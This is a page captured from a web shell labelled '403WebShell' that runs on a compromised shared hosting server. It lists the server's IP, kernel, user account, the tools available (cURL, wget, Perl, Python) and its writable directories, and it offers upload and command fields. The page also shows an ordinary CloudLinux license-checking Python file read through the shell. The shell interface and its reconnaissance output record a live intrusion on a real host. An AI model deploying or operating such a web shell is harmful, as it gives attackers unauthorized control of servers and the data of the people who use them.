Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.224.116
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/cllicense/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cloudlinux/venv/lib64/python3.11/site-packages/cllicense/license_lib.py
# -*- coding: utf-8 -*-

# license_lib.py

#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

import subprocess
import os


class CloudlinuxLicenseLib:
    def __init__(self):
        self._CLDETECT_UTILITY = "/usr/bin/cldetect"
        self._CLNREG_KS_UTILITY = '/usr/sbin/clnreg_ks'
        self._CLNCHECK_UTILITY = '/usr/sbin/clncheck'

    def get_license_status(self):
        """
        Checks Cloudlinux license
        :return: True - license valid
                 False - invalid
        """
        # cldetect --check-license -q
        with subprocess.Popen(
            [self._CLDETECT_UTILITY, '--check-license', '-q'],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
        ) as proc:
            proc.communicate()
            return proc.returncode == 0

    def is_edition_migration_available(self):
        # check if edition migration is supported
        return os.path.isfile(self._CLNCHECK_UTILITY)

    def register_and_update_license_by_key(self, key):
        """
        Register and update Cloudlinux license by key
        :param key: License key
        :return:
        """
        # /usr/bin/cldetect --update-new-key key
        with subprocess.Popen(
            [self._CLDETECT_UTILITY, '--update-new-key', key],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE
        ) as proc:
            proc.communicate()

    def register_and_update_license_by_ip(self, stage=None):
        """
        Register and update Cloudlinux license by IP
        :param stage: Registraton stage.
            None - all stages. Normal mode
            'clnreg_ks' - only clnreg_ks. Only for tests
            'cldetect' - only cldetect. Only for tests
        :return:
        """
        # 1. /usr/sbin/clnreg_ks --force or /usr/sbin/clnreg_ks --force --migrate-silently
        if stage is None or stage == 'clnreg_ks':
            clnreg_cmd = [self._CLNREG_KS_UTILITY, '--force']
            if self.is_edition_migration_available():
                clnreg_cmd.append('--migrate-silently')
            with subprocess.Popen(
                clnreg_cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            ) as proc:
                proc.communicate()
        # 2. /usr/bin/cldetect --update-license
        if stage is None or stage == 'cldetect':
            with subprocess.Popen(
                [self._CLDETECT_UTILITY, '--update-license'],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
            ) as proc:
                proc.communicate()

Youez - 2016 - github.com/yon3zu
LinuXploit